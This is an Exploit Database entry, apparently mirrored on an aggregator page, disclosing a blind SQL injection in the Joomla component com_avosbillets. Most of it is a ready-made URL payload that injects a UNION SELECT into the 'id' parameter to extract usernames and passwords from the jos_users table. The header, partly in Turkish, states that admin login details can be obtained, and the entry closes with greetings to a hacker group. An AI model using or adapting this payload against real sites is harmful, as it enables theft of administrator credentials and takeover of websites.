Joomla! Component com_avosbillets – Blind SQL Injection

• Exploit Database
• 116 阅读

• 作者： Pyske
  日期： 2010-01-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/10905/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  <------------------- header data start ------------------- > ############################################################# #Joomla Component com_avosbillets Blind SQL Injection Vulnerability ############################################################# # Author: Pyske # Home: www.cyber-warrior.org<http://www.cyber-warrior.org> # Greetz: Fl0riX , M-K-A, F0RTYS3V3N ,BlackApple , KaBaDaY&#305; and All Cyber-Warrior # Name: com_avosbillets # Bug Type: Blind SQL Injection # Infection : Admin login bilgileri alinabilir.   ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > http://server/index.php?option=com_avosbillets&task=view&view=event&id=374/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users--   < -- bug code end of -- >